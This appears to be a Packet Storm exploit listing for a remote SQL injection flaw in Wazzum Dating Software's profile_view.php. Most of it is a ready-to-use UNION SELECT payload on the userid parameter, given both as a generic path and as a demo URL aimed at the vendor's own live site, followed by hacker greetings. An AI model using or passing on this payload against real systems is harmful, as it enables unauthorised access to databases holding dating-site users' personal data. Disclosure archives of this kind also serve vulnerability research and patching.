Wazzum Dating Software suffers from a remote SQL injection vulnerability in profile_view.php.
0017f63b60d91598e14fae924545eab1d37d75a0ba1f9c72deab46857d777158#Wazzum Dating Software (userid) SQL Injection Vulnerability
#Author: nuclear
#site:
http://www.wazzum.com/
#vuln:
http://localhost/[path]/profile_view.php?userid=-1 union select 1,2,3,4,5,@@version /*
#demo:
http://www.wazzum.com/dating_demo/profile_view.php?userid=-1%20union%20select%201,2,3,4,5,@@version%20/*
#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed